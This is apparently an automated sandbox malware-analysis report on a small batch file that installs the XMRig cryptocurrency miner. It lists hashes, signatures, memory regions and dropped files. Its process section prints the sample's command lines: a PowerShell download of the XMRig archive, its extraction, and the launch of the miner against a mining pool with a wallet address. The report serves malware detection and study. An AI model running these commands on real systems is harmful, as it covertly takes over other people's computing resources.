Analysis

  • max time kernel
    1794s
  • max time network
    1788s
  • platform
    windows10-1703_x64
  • resource
    win10-20231215-en
  • resource tags

    arch:x64arch:x86image:win10-20231215-enlocale:en-usos:windows10-1703-x64system
  • submitted
    24/12/2023, 13:23

General

  • Target

    tesy - Copy (10).bat

  • Size

    608B

  • MD5

    727c8da0478af118c957ae60f7161cab

  • SHA1

    cf18105b8659e93bbd2824fa35ef1bae7b395301

  • SHA256

    97db0437ecb6f401a4674dceead7b17a885241f2ab2495652863d2240f3bedab

  • SHA512

    d9cbb46d5f3caa92d3b44301bc96ccfd5552f2ab3e5460362db3b59d23e0a5c34bf78e9387009092ac5c92b4423c03789aa1fc824a4e1388a1363daa6ab54e01

Score
10/10

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
exe.dropper

https://github.com/xmrig/xmrig/releases/download/v6.21.0/xmrig-6.21.0-gcc-win64.zip

Signatures

  • XMRig Miner payload 64 IoCs
  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • Blocklisted process makes network request 2 IoCs
  • Executes dropped EXE 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 6 IoCs
  • Suspicious use of AdjustPrivilegeToken 4 IoCs
  • Suspicious use of FindShellTrayWindow 1 IoCs
  • Suspicious use of WriteProcessMemory 6 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\tesy - Copy (10).bat"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:3884
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -command "(New-Object System.Net.WebClient).DownloadFile('https://github.com/xmrig/xmrig/releases/download/v6.21.0/xmrig-6.21.0-gcc-win64.zip', 'xmrig-6.21.0-gcc-win64.zip')"
      2⤵
      • Blocklisted process makes network request
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:4976
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -command "Expand-Archive -Path 'xmrig-6.21.0-gcc-win64.zip' -DestinationPath '.'"
      2⤵
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:1112
    • C:\Users\Admin\AppData\Local\Temp\xmrig-6.21.0\xmrig.exe
      xmrig.exe --url pool.hashvault.pro:80 --user 42BWpXvTvDbHpMyHrnjqBA5bqjnB9z65fGakJV9dQuHSS7pRkpoyx5T4vE4pUjJxPoPrLCAerjoKwdMTQKZNNEqo6zoLmPJ --pass tria2 --donate-level 1 --tls --tls-fingerprint 420c7850e09b7c0bdcf748a7da9eb3647daf8515718f36d9ccfdd6b9ff834b14
      2⤵
      • Executes dropped EXE
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of FindShellTrayWindow
      PID:4844

Network

        MITRE ATT&CK Matrix

        Replay Monitor

        Loading Replay Monitor...

        Downloads

        • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

          Filesize

          3KB

          MD5

          42d4b1d78e6e092af15c7aef34e5cf45

          SHA1

          6cf9d0e674430680f67260194d3185667a2bb77b

          SHA256

          c4089b4313f7b8b74956faa2c4e15b9ffb1d9e5e29ac7e00a20c48b8f7aef5e0

          SHA512

          d31f065208766eea61facc91b23babb4c94906fb564dc06d114cbbc4068516f94032c764c188bed492509010c5dbe61f096d3e986e0ae3e70a170a9986458930

        • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

          Filesize

          1KB

          MD5

          6fe87fd675e3fd1c6da48ce06bc93646

          SHA1

          aad6d3efd9aa22a828ea741da83a2649c86f4a8c

          SHA256

          530d1de4e7f2024e1d6e5fed60f5d2e03089638d48887da55fba4179f59e67a0

          SHA512

          17ad8b0346c37891259e3d1415350821eec2ce186a87aa92bfd2a3b4a04ab0c199e965cdb504ca66c6fe305f1baebd9b107ea9e0b19c2a735eae26d91159afd7

        • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_qewnmne2.glr.ps1

          Filesize

          1B

          MD5

          c4ca4238a0b923820dcc509a6f75849b

          SHA1

          356a192b7913b04c54574d18c28d46e6395428ab

          SHA256

          6b86b273ff34fce19d6b804eff5a3f5747ada4eaa22f1d49c01e52ddb7875b4b

          SHA512

          4dff4ea340f0a823f15d3f4f01ab62eae0e5da579ccb851f8db9dfe84c58b2b37b89903a740e1ee172da793a6e79d560e5f7f9bd058a12a280433ed6fa46510a

        • C:\Users\Admin\AppData\Local\Temp\xmrig-6.21.0-gcc-win64.zip

          Filesize

          279KB

          MD5

          8d444a4afb0d09425ddbbc4f2acd5e36

          SHA1

          51ed4f2be9ff89717e3a7c3bbf04b2b035111678

          SHA256

          c4c2d36bcd335df3bef0e1130b52e7dbafa594b35113e35066922d94f84c0af5

          SHA512

          388c6935b92f1069b4cff40546e53f4edcfdbdb6afde48b33c51ece94ad68ad65613ba8ed6b72b36d3b0f6d1839b0d598ad45c5a19334f616de5c6dee6861538

        • C:\Users\Admin\AppData\Local\Temp\xmrig-6.21.0\xmrig.exe

          Filesize

          242KB

          MD5

          1610a9a4de2db1fb6123aa9586f00c9f

          SHA1

          33aba773f3f4dbd99aca2b51e47886d5677bde3a

          SHA256

          3df189e6772d6c02442ff32c155e677fcd31943d5fd8bfef86fb934ebc89b2cd

          SHA512

          c75edba973eade10a341c98fb26755dad56fe538823d544d0b791fa20ffd92898563ad8844d44003cadfea0dbb6197f477b88a29a66aef1e76fbfa00e6d24e99

        • memory/1112-89-0x000001F91DF10000-0x000001F91DF1A000-memory.dmp

          Filesize

          40KB

        • memory/1112-37-0x000001F91C4D0000-0x000001F91C4E0000-memory.dmp

          Filesize

          64KB

        • memory/1112-38-0x000001F91C4D0000-0x000001F91C4E0000-memory.dmp

          Filesize

          64KB

        • memory/1112-113-0x00007FFEDF6E0000-0x00007FFEE00CC000-memory.dmp

          Filesize

          9.9MB

        • memory/1112-76-0x000001F936500000-0x000001F936512000-memory.dmp

          Filesize

          72KB

        • memory/1112-36-0x00007FFEDF6E0000-0x00007FFEE00CC000-memory.dmp

          Filesize

          9.9MB

        • memory/1112-62-0x000001F91C4D0000-0x000001F91C4E0000-memory.dmp

          Filesize

          64KB

        • memory/4844-144-0x00007FF71AF40000-0x00007FF71BA43000-memory.dmp

          Filesize

          11.0MB

        • memory/4844-149-0x00007FF71AF40000-0x00007FF71BA43000-memory.dmp

          Filesize

          11.0MB

        • memory/4844-184-0x00007FF71AF40000-0x00007FF71BA43000-memory.dmp

          Filesize

          11.0MB

        • memory/4844-116-0x000002251A740000-0x000002251A760000-memory.dmp

          Filesize

          128KB

        • memory/4844-183-0x00007FF71AF40000-0x00007FF71BA43000-memory.dmp

          Filesize

          11.0MB

        • memory/4844-117-0x000002251BF40000-0x000002251BF60000-memory.dmp

          Filesize

          128KB

        • memory/4844-118-0x00007FF71AF40000-0x00007FF71BA43000-memory.dmp

          Filesize

          11.0MB

        • memory/4844-120-0x000002251BF80000-0x000002251BFA0000-memory.dmp

          Filesize

          128KB

        • memory/4844-119-0x000002251BF60000-0x000002251BF80000-memory.dmp

          Filesize

          128KB

        • memory/4844-121-0x00007FF71AF40000-0x00007FF71BA43000-memory.dmp

          Filesize

          11.0MB

        • memory/4844-122-0x00007FF71AF40000-0x00007FF71BA43000-memory.dmp

          Filesize

          11.0MB

        • memory/4844-123-0x00007FF71AF40000-0x00007FF71BA43000-memory.dmp

          Filesize

          11.0MB

        • memory/4844-125-0x000002251BF80000-0x000002251BFA0000-memory.dmp

          Filesize

          128KB

        • memory/4844-124-0x000002251BF60000-0x000002251BF80000-memory.dmp

          Filesize

          128KB

        • memory/4844-126-0x00007FF71AF40000-0x00007FF71BA43000-memory.dmp

          Filesize

          11.0MB

        • memory/4844-127-0x00007FF71AF40000-0x00007FF71BA43000-memory.dmp

          Filesize

          11.0MB

        • memory/4844-128-0x00007FF71AF40000-0x00007FF71BA43000-memory.dmp

          Filesize

          11.0MB

        • memory/4844-129-0x00007FF71AF40000-0x00007FF71BA43000-memory.dmp

          Filesize

          11.0MB

        • memory/4844-130-0x00007FF71AF40000-0x00007FF71BA43000-memory.dmp

          Filesize

          11.0MB

        • memory/4844-131-0x00007FF71AF40000-0x00007FF71BA43000-memory.dmp

          Filesize

          11.0MB

        • memory/4844-132-0x00007FF71AF40000-0x00007FF71BA43000-memory.dmp

          Filesize

          11.0MB

        • memory/4844-133-0x00007FF71AF40000-0x00007FF71BA43000-memory.dmp

          Filesize

          11.0MB

        • memory/4844-134-0x00007FF71AF40000-0x00007FF71BA43000-memory.dmp

          Filesize

          11.0MB

        • memory/4844-135-0x00007FF71AF40000-0x00007FF71BA43000-memory.dmp

          Filesize

          11.0MB

        • memory/4844-136-0x00007FF71AF40000-0x00007FF71BA43000-memory.dmp

          Filesize

          11.0MB

        • memory/4844-137-0x00007FF71AF40000-0x00007FF71BA43000-memory.dmp

          Filesize

          11.0MB

        • memory/4844-138-0x00007FF71AF40000-0x00007FF71BA43000-memory.dmp

          Filesize

          11.0MB

        • memory/4844-139-0x00007FF71AF40000-0x00007FF71BA43000-memory.dmp

          Filesize

          11.0MB

        • memory/4844-140-0x00007FF71AF40000-0x00007FF71BA43000-memory.dmp

          Filesize

          11.0MB

        • memory/4844-141-0x00007FF71AF40000-0x00007FF71BA43000-memory.dmp

          Filesize

          11.0MB

        • memory/4844-142-0x00007FF71AF40000-0x00007FF71BA43000-memory.dmp

          Filesize

          11.0MB

        • memory/4844-143-0x00007FF71AF40000-0x00007FF71BA43000-memory.dmp

          Filesize

          11.0MB

        • memory/4844-182-0x00007FF71AF40000-0x00007FF71BA43000-memory.dmp

          Filesize

          11.0MB

        • memory/4844-145-0x00007FF71AF40000-0x00007FF71BA43000-memory.dmp

          Filesize

          11.0MB

        • memory/4844-146-0x00007FF71AF40000-0x00007FF71BA43000-memory.dmp

          Filesize

          11.0MB

        • memory/4844-147-0x00007FF71AF40000-0x00007FF71BA43000-memory.dmp

          Filesize

          11.0MB

        • memory/4844-148-0x00007FF71AF40000-0x00007FF71BA43000-memory.dmp

          Filesize

          11.0MB

        • memory/4844-181-0x00007FF71AF40000-0x00007FF71BA43000-memory.dmp

          Filesize

          11.0MB

        • memory/4844-150-0x00007FF71AF40000-0x00007FF71BA43000-memory.dmp

          Filesize

          11.0MB

        • memory/4844-151-0x00007FF71AF40000-0x00007FF71BA43000-memory.dmp

          Filesize

          11.0MB

        • memory/4844-152-0x00007FF71AF40000-0x00007FF71BA43000-memory.dmp

          Filesize

          11.0MB

        • memory/4844-153-0x00007FF71AF40000-0x00007FF71BA43000-memory.dmp

          Filesize

          11.0MB

        • memory/4844-154-0x00007FF71AF40000-0x00007FF71BA43000-memory.dmp

          Filesize

          11.0MB

        • memory/4844-155-0x00007FF71AF40000-0x00007FF71BA43000-memory.dmp

          Filesize

          11.0MB

        • memory/4844-156-0x00007FF71AF40000-0x00007FF71BA43000-memory.dmp

          Filesize

          11.0MB

        • memory/4844-157-0x00007FF71AF40000-0x00007FF71BA43000-memory.dmp

          Filesize

          11.0MB

        • memory/4844-158-0x00007FF71AF40000-0x00007FF71BA43000-memory.dmp

          Filesize

          11.0MB

        • memory/4844-159-0x00007FF71AF40000-0x00007FF71BA43000-memory.dmp

          Filesize

          11.0MB

        • memory/4844-160-0x00007FF71AF40000-0x00007FF71BA43000-memory.dmp

          Filesize

          11.0MB

        • memory/4844-161-0x00007FF71AF40000-0x00007FF71BA43000-memory.dmp

          Filesize

          11.0MB

        • memory/4844-162-0x00007FF71AF40000-0x00007FF71BA43000-memory.dmp

          Filesize

          11.0MB

        • memory/4844-163-0x00007FF71AF40000-0x00007FF71BA43000-memory.dmp

          Filesize

          11.0MB

        • memory/4844-164-0x00007FF71AF40000-0x00007FF71BA43000-memory.dmp

          Filesize

          11.0MB

        • memory/4844-165-0x00007FF71AF40000-0x00007FF71BA43000-memory.dmp

          Filesize

          11.0MB

        • memory/4844-166-0x00007FF71AF40000-0x00007FF71BA43000-memory.dmp

          Filesize

          11.0MB

        • memory/4844-167-0x00007FF71AF40000-0x00007FF71BA43000-memory.dmp

          Filesize

          11.0MB

        • memory/4844-168-0x00007FF71AF40000-0x00007FF71BA43000-memory.dmp

          Filesize

          11.0MB

        • memory/4844-169-0x00007FF71AF40000-0x00007FF71BA43000-memory.dmp

          Filesize

          11.0MB

        • memory/4844-170-0x00007FF71AF40000-0x00007FF71BA43000-memory.dmp

          Filesize

          11.0MB

        • memory/4844-171-0x00007FF71AF40000-0x00007FF71BA43000-memory.dmp

          Filesize

          11.0MB

        • memory/4844-172-0x00007FF71AF40000-0x00007FF71BA43000-memory.dmp

          Filesize

          11.0MB

        • memory/4844-173-0x00007FF71AF40000-0x00007FF71BA43000-memory.dmp

          Filesize

          11.0MB

        • memory/4844-174-0x00007FF71AF40000-0x00007FF71BA43000-memory.dmp

          Filesize

          11.0MB

        • memory/4844-175-0x00007FF71AF40000-0x00007FF71BA43000-memory.dmp

          Filesize

          11.0MB

        • memory/4844-176-0x00007FF71AF40000-0x00007FF71BA43000-memory.dmp

          Filesize

          11.0MB

        • memory/4844-177-0x00007FF71AF40000-0x00007FF71BA43000-memory.dmp

          Filesize

          11.0MB

        • memory/4844-178-0x00007FF71AF40000-0x00007FF71BA43000-memory.dmp

          Filesize

          11.0MB

        • memory/4844-179-0x00007FF71AF40000-0x00007FF71BA43000-memory.dmp

          Filesize

          11.0MB

        • memory/4844-180-0x00007FF71AF40000-0x00007FF71BA43000-memory.dmp

          Filesize

          11.0MB

        • memory/4976-9-0x000002186DEE0000-0x000002186DEF0000-memory.dmp

          Filesize

          64KB

        • memory/4976-4-0x000002186E690000-0x000002186E6B2000-memory.dmp

          Filesize

          136KB

        • memory/4976-7-0x000002186DEE0000-0x000002186DEF0000-memory.dmp

          Filesize

          64KB

        • memory/4976-5-0x00007FFEDF6E0000-0x00007FFEE00CC000-memory.dmp

          Filesize

          9.9MB

        • memory/4976-10-0x000002186E1E0000-0x000002186E256000-memory.dmp

          Filesize

          472KB

        • memory/4976-25-0x000002186DEE0000-0x000002186DEF0000-memory.dmp

          Filesize

          64KB

        • memory/4976-30-0x00007FFEDF6E0000-0x00007FFEE00CC000-memory.dmp

          Filesize

          9.9MB